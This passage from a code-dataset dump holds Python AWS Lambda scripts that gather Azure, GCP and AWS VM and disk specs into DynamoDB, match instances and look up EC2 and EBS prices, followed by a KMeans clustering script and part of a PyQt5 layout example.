v['name']\\n vm_specs['virtual machine type'] = vm_types[v['size'][0]] # categorize the vm type based off above dictionary\\n for c in v['capabilities']:\\n if c['name'] == 'vCPUs' or c['name'] == 'MemoryGB' or c['name'] == 'ACUs' or c['name'] == 'vCPUsPerCore' or c['name'] == 'MaxResourceVolumeMB' or c['name'] == 'GPUs':\\n \\n if c['name'] == 'MemoryGB':\\n vm_specs['MemoryMB'] = int(Decimal(c['value'])*1000) # convert to MB for better matching\\n if c['name'] == 'vCPUs' or c['name'] == 'vCPUsPerCore':\\n vm_specs[c['name']] = int(c['value'])\\n else:\\n vm_specs[c['name']] = c['value']\\n name_dict[v['name']] = vm_specs\\n\\n \\n\\n\\n # add in data columns\\n for key,value in name_dict.items(): \\n value['resource type'] = 'virtual machine'\\n value['provider'] = 'Azure'\\n all_vm_specs.append(value)\\n \\n \\n # parse out the specifications of the disks\\n name_dict.clear()\\n all_disk_specs = []\\n for d in disk:\\n disk_specs = {}\\n disk_specs['name'] = d['name']\\n disk_specs['size'] = d['size']\\n for c in d['capabilities']:\\n disk_specs[c['name']] = c['value']\\n name_dict[d['name']] = disk_specs\\n \\n for ky,val in name_dict.items():\\n val['resource type'] = 'virtual disk'\\n val['provider'] = 'Azure'\\n all_disk_specs.append(val)\\n\\n # now we have the data we want!\\n\\n\\n print('Number of VMs: ' + str(len(all_vm_specs)))\\n print('Number of disks: ' + str(len(all_disk_specs)))\\n\\n\\n print(\\\"Inputing VMs into DB...\\\")\\n # put the data into the database\\n azure_vm_table = boto3.resource('dynamodb').Table('bluewhale_resources')\\n for item in all_vm_specs:\\n azure_vm_table.put_item(Item=item)\\n print(\\\"Done!\\\")\\n \\n print(\\\"Inputing disks into DB...\\\")\\n azure_disk_table = boto3.resource('dynamodb').Table('bluewhale_resources')\\n for item in all_disk_specs:\\n azure_disk_table.put_item(Item=item)\\n print(\\\"Done!\\\")\\n \\n return {\\n 'statusCode': 200,\\n 'body': json.dumps('Refresh complete!')\\n }\\n\"\n },\n {\n \"alpha_fraction\": 0.5076673030853271,\n \"alphanum_fraction\": 0.515566885471344,\n \"avg_line_length\": 32.31007766723633,\n \"blob_id\": \"c851bbe8478b6596063d82f50321a8ae3eb0a151\",\n \"content_id\": \"734ea1bb943db6c3e109b35227ef29f91a5c939d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4304,\n \"license_type\": \"no_license\",\n \"max_line_length\": 157,\n \"num_lines\": 129,\n \"path\": \"/bluewhale_get_vm_AWS_match.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Input: Third party vm name, AWS region name, operating system\\n# Output: AWS EC2 match(s) with price in desired region\\n# Purpose: On the front end the customer will select a vm from gcp or azure and the backend will need to \\n# return the available EC2 matches as well as their price in the desired region\\n# This code was heavily inspired by this blog: https://www.sentiatechblog.com/using-the-ec2-price-list-api\\nimport json\\nimport boto3\\nfrom boto3.dynamodb.conditions import Key\\n\\ndef get_price_info(reg, ec2, os, pc):\\n # if this region, ec2 and os combo is not available this code might fail\\n # so we will try + catch and return None if there is an issue\\n try:\\n paginator = pc.get_paginator('get_products')\\n\\n response_iterator = paginator.paginate(\\n ServiceCode=\\\"AmazonEC2\\\",\\n Filters=[\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'location',\\n 'Value': reg\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'instanceType',\\n 'Value': ec2\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'capacitystatus',\\n 'Value': 'Used'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'tenancy',\\n 'Value': 'Shared'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'preInstalledSw',\\n 'Value': 'NA'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'operatingSystem',\\n 'Value': os\\n }\\n ],\\n PaginationConfig={\\n 'PageSize': 100\\n }\\n )\\n\\n products = []\\n for response in response_iterator:\\n for priceItem in response[\\\"PriceList\\\"]:\\n priceItemJson = json.loads(priceItem)\\n products.append(priceItemJson)\\n \\n # parse out the data we want\\n sku = products[0]['product']['sku']\\n on_demand_code = sku + '.' + 'JRTCKXETXF'\\n price_per_hr_code = '6YS6EN2CT7'\\n price_per_hour_usd = products[0]['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\\n instance_meta_data = products[0]['product']['attributes']\\n \\n # build a dict of the data we want\\n data = {\\n 'name' : ec2,\\n 'price per hour USD' : price_per_hour_usd,\\n 'instance meta data' : instance_meta_data\\n }\\n\\n return data\\n except:\\n return None\\n\\n\\n\\ndef lambda_handler(event, context):\\n # parameters\\n vm_name = event['queryStringParameters']['vm-to-match']\\n region = event['queryStringParameters']['region']\\n operating_system = event['queryStringParameters']['os']\\n matches = []\\n match_data = []\\n\\n dynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\n table = dynamodb.Table('bluewhale_resources')\\n\\n # query for potential matches\\n data = table.query(\\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\\n KeyConditionExpression= Key('name').eq(vm_name)\\n )\\n\\n print(data['Items'][0])\\n matches = data['Items'][0]['AWS_matches']\\n\\n pricing_client = boto3.client('pricing', region_name='us-east-1')\\n\\n\\n \\n\\n for ec2 in matches:\\n price_info = get_price_info(region, ec2, operating_system, pricing_client)\\n if price_info != None:\\n match_data.append(price_info)\\n\\n if not match_data:\\n print(\\\"Region or OS not availiable for current selection\\\")\\n return {\\n 'statusCode': 500,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps(\\\"Invalid region + os selection\\\")\\n }\\n else:\\n return {\\n 'statusCode': 200,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps(match_data)\\n }\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6315377354621887,\n \"alphanum_fraction\": 0.6358472108840942,\n \"avg_line_length\": 39.84000015258789,\n \"blob_id\": \"6d4b0923de85376a3a4ac3d7757547b273cf11e0\",\n \"content_id\": \"7f612eae4f5cd438f16cecbe119a7a0aa15bd647\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5105,\n \"license_type\": \"no_license\",\n \"max_line_length\": 108,\n \"num_lines\": 125,\n \"path\": \"/gcp_refresh_resources/bluewhale_gcp_refresh.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: Refresh the databse with GCP vm & Disk offerings\\n\\nimport json\\nimport boto3\\nimport os\\nfrom googleapiclient import discovery\\nfrom oauth2client.client import GoogleCredentials\\nimport base64\\nfrom botocore.exceptions import ClientError\\n\\n\\ndef get_secret():\\n secret_name = \\\"bluewhale_gcp_app_creds\\\"\\n region_name = \\\"us-east-1\\\"\\n\\n # Create a Secrets Manager client\\n session = boto3.session.Session()\\n client = session.client(\\n service_name='secretsmanager',\\n region_name=region_name\\n )\\n\\n # In this sample we only handle the specific exceptions for the 'GetSecretValue' API.\\n # See https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\\n # We rethrow the exception by default.\\n\\n try:\\n get_secret_value_response = client.get_secret_value(\\n SecretId=secret_name\\n )\\n except ClientError as e:\\n if e.response['Error']['Code'] == 'DecryptionFailureException':\\n # Secrets Manager can't decrypt the protected secret text using the provided KMS key.\\n # Deal with the exception here, and/or rethrow at your discretion.\\n raise e\\n elif e.response['Error']['Code'] == 'InternalServiceErrorException':\\n # An error occurred on the server side.\\n # Deal with the exception here, and/or rethrow at your discretion.\\n raise e\\n elif e.response['Error']['Code'] == 'InvalidParameterException':\\n # You provided an invalid value for a parameter.\\n # Deal with the exception here, and/or rethrow at your discretion.\\n raise e\\n elif e.response['Error']['Code'] == 'InvalidRequestException':\\n # You provided a parameter value that is not valid for the current state of the resource.\\n # Deal with the exception here, and/or rethrow at your discretion.\\n raise e\\n elif e.response['Error']['Code'] == 'ResourceNotFoundException':\\n # We can't find the resource that you asked for.\\n # Deal with the exception here, and/or rethrow at your discretion.\\n raise e\\n else:\\n # Decrypts secret using the associated KMS CMK.\\n # Depending on whether the secret is a string or binary, one of these fields will be populated.\\n if 'SecretString' in get_secret_value_response:\\n secret = get_secret_value_response['SecretString']\\n return secret\\n else:\\n decoded_binary_secret = base64.b64decode(get_secret_value_response['SecretBinary'])\\n return decoded_binary_secret\\n\\nprint(get_secret())\\nsecret = json.loads(get_secret())\\n\\nwith open('/tmp/cred.json', 'w') as json_file:\\n json.dump(secret, json_file)\\n\\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']='/tmp/cred.json'\\n\\ndef lambda_handler(event, context):\\n # we want the information about the virtual machines that GCP offers\\n # their API gives us info by GCP zone\\n # to get all vm info we thus need to look through all zones\\n zones = []\\n credentials = GoogleCredentials.get_application_default()\\n\\n service = discovery.build('compute', 'v1', credentials=credentials)\\n # Project ID for this request.\\n project = 'learned-iris-320618'\\n request = service.zones().list(project=project)\\n while request is not None:\\n response = request.execute()\\n\\n for zone in response['items']:\\n # TODO: Change code below to process each `zone` resource:\\n zones.append(zone['name'])\\n\\n request = service.zones().list_next(previous_request=request, previous_response=response)\\n machines = {}\\n\\n # associates the first letter of a machine with its (AWS equivalent) compute category\\n vm_types = {\\n 'e':'general purpose', 'n':'general purpose', 'f':'general purpose', 'g':'general purpose',\\n 'c':'compute optimized',\\n 'm':'memory optimized',\\n 'a':'accelerated computing' \\n }\\n\\n\\n # get machine for each zones\\n for zone in zones:\\n request = service.machineTypes().list(project=project, zone=zone)\\n while request is not None:\\n response = request.execute()\\n # get each machines details\\n for machine_type in response['items']:\\n machines[machine_type['name']] = {\\n 'name' : machine_type['name'],\\n 'vCPUs' : machine_type['guestCpus'],\\n 'MemoryMB' : machine_type['memoryMb'],\\n 'virtual machine type' : vm_types[machine_type['name'][0]],\\n 'provider': 'GCP',\\n 'resource type': 'virtual machine'\\n }\\n request = service.machineTypes().list_next(previous_request=request, previous_response=response)\\n # now we have a list of all the machines!\\n resource_table = boto3.resource('dynamodb').Table('bluewhale_resources')\\n # put machines into the DB\\n for k in machines.keys():\\n resource_table.put_item(Item=machines[k])\\n return {\\n 'statusCode': 200,\\n 'body': json.dumps('Refresh complete!')\\n }\\n\"\n },\n {\n \"alpha_fraction\": 0.5962199568748474,\n \"alphanum_fraction\": 0.6048110127449036,\n \"avg_line_length\": 30.45945930480957,\n \"blob_id\": \"a1716cf6f744433a72180afbff4e2fb03553bb18\",\n \"content_id\": \"c51942800f2b98bc989d34d36099d5c2b176e172\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1164,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 37,\n \"path\": \"/bluewhale_region_name_list.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: Returns region NAMES not CODES. We need these for pricing API call.\\n# A region name: 'US East (Ohio)'. A region code: 'us-east-2'\\n\\nfrom inspect import Parameter\\nimport json\\nimport boto3\\n\\ndef lambda_handler(event, context):\\n\\n # List all regions codes\\n data = boto3.client('ec2').describe_regions(AllRegions=True)\\n region_codes = []\\n for r in data['Regions']:\\n region_codes.append(r['RegionName'])\\n while \\\"NextToken\\\" in data:\\n data = boto3.client('ec2').describe_regions()\\n for r in data['Regions']:\\n region_codes.append(r['RegionName'])\\n \\n \\n # Get all region names using the region codes\\n client = boto3.client('ssm')\\n region_names = []\\n for region in region_codes:\\n response = client.get_parameter(\\n Name='/aws/service/global-infrastructure/regions/' + region + '/longName'\\n )\\n region_names.append(response['Parameter']['Value']) \\n print(region_names)\\n return {\\n 'statusCode': 200,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps(region_names)\\n }\\n\"\n },\n {\n \"alpha_fraction\": 0.5864537358283997,\n \"alphanum_fraction\": 0.607929527759552,\n \"avg_line_length\": 38.5,\n \"blob_id\": \"fb45aca1ddf191a957382c2acdc9d977cfa1e51a\",\n \"content_id\": \"cdb401a14452c28cbf7e5b711eedea78327befe3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1816,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 46,\n \"path\": \"/testing+data/ebs_pricing.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import boto3\\nimport json\\n\\n# code modified from: https://medium.com/@stefanroman/calculate-price-of-ebs-volumes-with-python-76687bb24530\\naws_region_map = {\\n 'ca-central-1': 'Canada (Central)',\\n 'ap-northeast-3': 'Asia Pacific (Osaka-Local)',\\n 'us-east-1': 'US East (N. Virginia)',\\n 'ap-northeast-2': 'Asia Pacific (Seoul)',\\n 'us-gov-west-1': 'AWS GovCloud (US)',\\n 'us-east-2': 'US East (Ohio)',\\n 'ap-northeast-1': 'Asia Pacific (Tokyo)',\\n 'ap-south-1': 'Asia Pacific (Mumbai)',\\n 'ap-southeast-2': 'Asia Pacific (Sydney)',\\n 'ap-southeast-1': 'Asia Pacific (Singapore)',\\n 'sa-east-1': 'South America (Sao Paulo)',\\n 'us-west-2': 'US West (Oregon)',\\n 'eu-west-1': 'EU (Ireland)',\\n 'eu-west-3': 'EU (Paris)',\\n 'eu-west-2': 'EU (London)',\\n 'us-west-1': 'US West (N. California)',\\n 'eu-central-1': 'EU (Frankfurt)'\\n }\\nebs_name_map = {\\n 'standard': 'Magnetic',\\n 'gp2': 'General Purpose',\\n 'io1': 'Provisioned IOPS',\\n 'st1': 'Throughput Optimized HDD',\\n 'sc1': 'Cold HDD'\\n}\\nregion = 'EU (Paris)'\\n\\npricing_auth = boto3.client('pricing', region_name=\\\"us-east-1\\\")\\n\\nfor ebs_code in ebs_name_map:\\n response = pricing_auth.get_products(ServiceCode='AmazonEC2', Filters=[\\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_name_map[ebs_code]}, \\n {'Type': 'TERM_MATCH', 'Field': 'location', 'Value': region}])\\n for result in response['PriceList']:\\n json_result = json.loads(result)\\n for json_result_level_1 in json_result['terms']['OnDemand'].values():\\n for json_result_level_2 in json_result_level_1['priceDimensions'].values():\\n for price_value in json_result_level_2['pricePerUnit'].values():\\n continue\\n ebs_name_map[ebs_code] = float(price_value)\\n print(ebs_name_map)\"\n },\n {\n \"alpha_fraction\": 0.6125080585479736,\n \"alphanum_fraction\": 0.6150870323181152,\n \"avg_line_length\": 35.9523811340332,\n \"blob_id\": \"b5cd4a35f501da5b405f66288ac579804efef400\",\n \"content_id\": \"12af268e787f8f8349136feac0dbadd51eb86879\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1551,\n \"license_type\": \"no_license\",\n \"max_line_length\": 112,\n \"num_lines\": 42,\n \"path\": \"/testing+data/ebs_details.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import json\\nimport boto3\\n\\ndef ebs_refresh():\\n\\n \\n # this is one of the few hard coded values, if a new category is updated, this will need to change\\n ebs_categories = ['Magnetic', 'General Purpose', 'Provisioned IOPS', 'Throughput Optimized HDD', 'Cold HDD']\\n\\n pricing_client = boto3.client('pricing', region_name='us-east-1')\\n\\n # get all ebs products\\n # this block is an API call that parses the json data\\n ebs_details = []\\n ebs_names = []\\n for ebs_type in ebs_categories:\\n response = [\\\"NextToken\\\"]\\n while \\\"NextToken\\\" in response:\\n response = pricing_client.get_products(ServiceCode='AmazonEC2', Filters=[\\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}])\\n\\n for priceItem in response[\\\"PriceList\\\"]:\\n priceItemJson = json.loads(priceItem)\\n name = priceItemJson['product'][\\\"attributes\\\"]['volumeApiName']\\n if name not in ebs_names:\\n ebs_names.append(name)\\n ebs_details.append(priceItemJson)\\n \\n # we now have data about the volumes but need to parse out and only grab that data we want for the DB\\n refresh_data = []\\n # get the name and attributes for each!\\n for details in ebs_details:\\n ebs_data = details['product']['attributes']\\n ebs_data['name'] = details['product']['attributes']['volumeApiName']\\n ebs_data['provider'] = 'AWS'\\n ebs_data['resource type'] = 'virtual disk'\\n refresh_data.append(ebs_data)\\n \\n\\n\\n\\nebs_refresh()\"\n },\n {\n \"alpha_fraction\": 0.5732159614562988,\n \"alphanum_fraction\": 0.5797034502029419,\n \"avg_line_length\": 35.2689094543457,\n \"blob_id\": \"5c7928f507f5a6a264add46c1d3e118f77ae8b8d\",\n \"content_id\": \"63a88d65f93210caaf4b827adc91bbbe5f39f058\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4316,\n \"license_type\": \"no_license\",\n \"max_line_length\": 141,\n \"num_lines\": 119,\n \"path\": \"/bluewhale_vm_match.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: Match each GCP and Azure vm with up to 5 AWS matches. Add string set of AWS instance names to each 3rd party vm object in DynamoDB\\n\\nimport json\\nimport boto3\\nfrom boto3.dynamodb.conditions import Key\\nfrom boto3.dynamodb.conditions import Attr\\n\\n# this function can throttle DynamoDB\\n# with 5 RCUs it takes about 26 minutes\\n# with 250 RCUs it takes about 1.5 minutes\\n\\ndef match_vm(vm,t):\\n # get vm specs\\n vCPUs = vm['vCPUs']\\n memory = vm['MemoryMB']\\n type = vm['virtual machine type']\\n\\n # query for potential matches\\n matches = t.scan(\\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\\n FilterExpression= Attr('resource type').eq('virtual machine') \\n & Attr('provider').eq('AWS')\\n & Attr('virtual machine type').eq(type)\\n & Attr('vCPUs').gte(vCPUs)\\n # memory in range inf to (-20%)\\n & Attr('MemoryMB').gte(int(float(memory) - (float(memory)*0.2)))\\n )\\n\\n\\n # edge case where AWS does not offer large enough instance in terms of vCPUs\\n if not matches['Items']:\\n # if this is the case, we will return the largest possible instance\\n # get all of the specified type\\n data = t.scan(\\n FilterExpression= Attr('resource type').eq('virtual machine') \\n & Attr('provider').eq('AWS')\\n & Attr('virtual machine type').eq(type) \\n )\\n if not data['Items']:\\n return []\\n # find the highest number of vCPUs for potential match\\n values = [x['vCPUs'] for x in data['Items']]\\n max_vCPUs = max(values)\\n\\n # add all instances of this largest size to a list\\n largest_matches = []\\n for instance in data['Items']:\\n if instance['vCPUs'] == max_vCPUs:\\n largest_matches.append(instance['name'])\\n \\n return largest_matches\\n \\n # find the lowest number of vCPUs for potential match\\n values = [x['vCPUs'] for x in matches['Items']]\\n min_vCPUs = min(values)\\n\\n\\n # add all instances with that many vCPUs to list\\n # find the lowest amount of memory at the same time\\n matched_instances = []\\n potential_matches = []\\n for instance in matches['Items']:\\n if instance['vCPUs'] == min_vCPUs:\\n potential_matches.append(instance)\\n\\n # we now have the instances matched by vCPUs now we need to match by memory\\n\\n # we are going to try to find the 5 closest instances in memory\\n for i in range(0,5):\\n # while we still have options\\n if potential_matches:\\n # find the closest instance\\n closest = min(potential_matches, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\\n # add the instance to our final list\\n matched_instances.append(closest['name'])\\n \\n # remove the closest from the potential matches so we can find the next closest\\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\\n \\n # repeat 5x\\n\\n return matched_instances\\n \\n \\ndef lambda_handler(event, context):\\n dynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\n table = dynamodb.Table('bluewhale_resources')\\n \\n print(\\\"Getting data...\\\")\\n # get azure and gcp vm data\\n third_party_vm = table.scan(\\n FilterExpression= Attr('resource type').eq('virtual machine') & (Attr('provider').eq('Azure') or Attr('provider').eq('GCP'))\\n )\\n \\n print(\\\"begin matching...\\\")\\n counter = 0\\n # add in the AWS matches to each vm!\\n for vm in third_party_vm['Items']:\\n counter = counter + 1\\n print(str(counter) + ' ' + vm['name'])\\n \\n matches = match_vm(vm,table)\\n table.update_item(\\n Key={\\n 'name': vm['name']\\n },\\n UpdateExpression=\\\"set AWS_matches=:a\\\",\\n ExpressionAttributeValues={\\n ':a': matches\\n },\\n ReturnValues=\\\"UPDATED_NEW\\\"\\n )\\n print(\\\"done!\\\")\\n return {\\n 'statusCode': 200,\\n 'body': json.dumps('Matching complete!')\\n }\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":17,"string":"17"}}},{"rowIdx":2978324,"cells":{"repo_name":{"kind":"string","value":"IVLIVSCAESAR44/KMeansClustering"},"repo_url":{"kind":"string","value":"https://github.com/IVLIVSCAESAR44/KMeansClustering"},"snapshot_id":{"kind":"string","value":"e0fc1e7124ba8037917f0b4d01b3616eec16a138"},"revision_id":{"kind":"string","value":"540b954363ddfdf7dcf492e460755b91dbbab494"},"directory_id":{"kind":"string","value":"0045dc8ab8c02341fb34cdf340ebb7ea41c071bd"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-07-16T22:19:23.431049","string":"2023-07-16T22:19:23.431049"},"revision_date":{"kind":"timestamp","value":"2021-08-24T21:04:32","string":"2021-08-24T21:04:32"},"committer_date":{"kind":"timestamp","value":"2021-08-24T21:04:32","string":"2021-08-24T21:04:32"},"github_id":{"kind":"number","value":399601456,"string":"399,601,456"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6959863305091858,"alphanum_fraction":0.7028180956840515,"avg_line_length":21.459999084472656,"blob_id":"83bb55b2cd55568118a7e0dda9605fee4deaa92f","content_id":"5c5f20f51caba31613a327e57cd42c04c9816ca6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1171,"license_type":"no_license","max_line_length":75,"num_lines":50,"path":"/KMeansClustering.py","repo_name":"IVLIVSCAESAR44/KMeansClustering","src_encoding":"UTF-8","text":"import pandas as pd\r\nfrom sklearn.cluster import KMeans\r\n#import sklearn.cluster.hierarchical as hclust\r\nfrom sklearn import preprocessing\r\nfrom matplotlib import pyplot as plt\r\n\r\n\r\ndf = pd.read_csv(r\"File to read data from\", encoding='latin1', sep = ',')\r\n\r\n\r\nfeatures = df.drop(['ASIN', 'Product Title'], 1)\r\n\r\ndata_scaled = preprocessing.normalize(features)\r\ndata_scaled = pd.DataFrame(data_scaled, columns = features.columns)\r\n\r\ninertia = []\r\n\r\nK = range(1,10)\r\nfor k in K:\r\n kmeanmodel = KMeans(n_clusters=k).fit(data_scaled)\r\n kmeanmodel.fit(data_scaled)\r\n inertia.append(kmeanmodel.inertia_)\r\n\r\nplt.plot(K, inertia, 'bx-')\r\nplt.xlabel('K')\r\nplt.ylabel('Inertia')\r\n\r\nplt.show()\r\n\r\n\r\nkmeans = KMeans(n_clusters=4).fit(data_scaled)\r\n\r\nclustered = pd.DataFrame(kmeans.labels_)\r\nclustered.columns= ['Cluster']\r\nclustered['ASIN'] = df['ASIN'].values\r\nclustered['Product Title'] = df['Product Title'].values\r\n\r\n\r\nClusteredProducts = pd.concat((features,clustered), 1, join='inner')\r\n\r\nClusteredProducts\r\n\r\n\r\nClusteredProducts.to_csv('Name of results file', encoding='utf-8', sep=',')\r\n\r\ndel df\r\ndel features\r\ndel data_scaled\r\ndel ClusteredProducts\r\ndel clustered"}],"string":"[\n {\n \"alpha_fraction\": 0.6959863305091858,\n \"alphanum_fraction\": 0.7028180956840515,\n \"avg_line_length\": 21.459999084472656,\n \"blob_id\": \"83bb55b2cd55568118a7e0dda9605fee4deaa92f\",\n \"content_id\": \"5c5f20f51caba31613a327e57cd42c04c9816ca6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1171,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 50,\n \"path\": \"/KMeansClustering.py\",\n \"repo_name\": \"IVLIVSCAESAR44/KMeansClustering\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pandas as pd\\r\\nfrom sklearn.cluster import KMeans\\r\\n#import sklearn.cluster.hierarchical as hclust\\r\\nfrom sklearn import preprocessing\\r\\nfrom matplotlib import pyplot as plt\\r\\n\\r\\n\\r\\ndf = pd.read_csv(r\\\"File to read data from\\\", encoding='latin1', sep = ',')\\r\\n\\r\\n\\r\\nfeatures = df.drop(['ASIN', 'Product Title'], 1)\\r\\n\\r\\ndata_scaled = preprocessing.normalize(features)\\r\\ndata_scaled = pd.DataFrame(data_scaled, columns = features.columns)\\r\\n\\r\\ninertia = []\\r\\n\\r\\nK = range(1,10)\\r\\nfor k in K:\\r\\n kmeanmodel = KMeans(n_clusters=k).fit(data_scaled)\\r\\n kmeanmodel.fit(data_scaled)\\r\\n inertia.append(kmeanmodel.inertia_)\\r\\n\\r\\nplt.plot(K, inertia, 'bx-')\\r\\nplt.xlabel('K')\\r\\nplt.ylabel('Inertia')\\r\\n\\r\\nplt.show()\\r\\n\\r\\n\\r\\nkmeans = KMeans(n_clusters=4).fit(data_scaled)\\r\\n\\r\\nclustered = pd.DataFrame(kmeans.labels_)\\r\\nclustered.columns= ['Cluster']\\r\\nclustered['ASIN'] = df['ASIN'].values\\r\\nclustered['Product Title'] = df['Product Title'].values\\r\\n\\r\\n\\r\\nClusteredProducts = pd.concat((features,clustered), 1, join='inner')\\r\\n\\r\\nClusteredProducts\\r\\n\\r\\n\\r\\nClusteredProducts.to_csv('Name of results file', encoding='utf-8', sep=',')\\r\\n\\r\\ndel df\\r\\ndel features\\r\\ndel data_scaled\\r\\ndel ClusteredProducts\\r\\ndel clustered\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978325,"cells":{"repo_name":{"kind":"string","value":"legendaryCJT/Learining"},"repo_url":{"kind":"string","value":"https://github.com/legendaryCJT/Learining"},"snapshot_id":{"kind":"string","value":"39699e01501c1b48fa424722c0073328b813b9c5"},"revision_id":{"kind":"string","value":"73c52e7330cc065c33617675bdeb513ac7c80279"},"directory_id":{"kind":"string","value":"7b181a9718123d7ede8f81923dd684871e7c2772"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-09-28T14:07:54.834316","string":"2020-09-28T14:07:54.834316"},"revision_date":{"kind":"timestamp","value":"2019-12-09T05:53:09","string":"2019-12-09T05:53:09"},"committer_date":{"kind":"timestamp","value":"2019-12-09T05:53:09","string":"2019-12-09T05:53:09"},"github_id":{"kind":"number","value":226793908,"string":"226,793,908"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.4947395324707031,"alphanum_fraction":0.5232229828834534,"avg_line_length":26.881481170654297,"blob_id":"b457a39008677732f8929a7ea4924c14688495c5","content_id":"54c5a2af3c81218020abb75e7ad3f35a34fbdd4e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3967,"license_type":"no_license","max_line_length":76,"num_lines":135,"path":"/PyQt5/Layout.py","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"import sys\r\nfrom PyQt5.QtWidgets import QWidget, QLabel, QApplication\r\nfrom PyQt5.QtWidgets import QPushButton, QHBoxLayout, QVBoxLayout\r\nfrom PyQt5.QtWidgets import QGridLayout, QMessageBox\r\nfrom PyQt5.QtWidgets import QLineEdit, QTextEdit # QLineEdit无法跨行，但可以在跨行居中显示\r\nfrom PyQt5.QtCore import QCoreApplication\r\n\r\n\r\nclass Example_absolute(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n lbl1 = QLabel(\"Zetcode\", self)\r\n lbl1.move(15, 10)\r\n\r\n lbl2 = QLabel(\"Tutorials\", self)\r\n lbl2.move(35, 40)\r\n\r\n lbl3 = QLabel(\"for programmers\", self)\r\n lbl3.move(55, 70)\r\n\r\n self.setGeometry(300, 300, 250, 150)\r\n self.setWindowTitle(\"Absolute\")\r\n self.show()\r\n\r\n\r\nclass Example_layout(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n okButton = QPushButton(\"OK\")\r\n cancelButton = QPushButton(\"Cancel\")\r\n cancelButton.clicked.connect(self.close)\r\n\r\n hbox = QHBoxLayout()\r\n hbox.addStretch(1)\r\n hbox.addWidget(okButton)\r\n hbox.addWidget(cancelButton)\r\n\r\n vbox = QVBoxLayout()\r\n vbox.addStretch(1)\r\n vbox.addLayout(hbox)\r\n\r\n 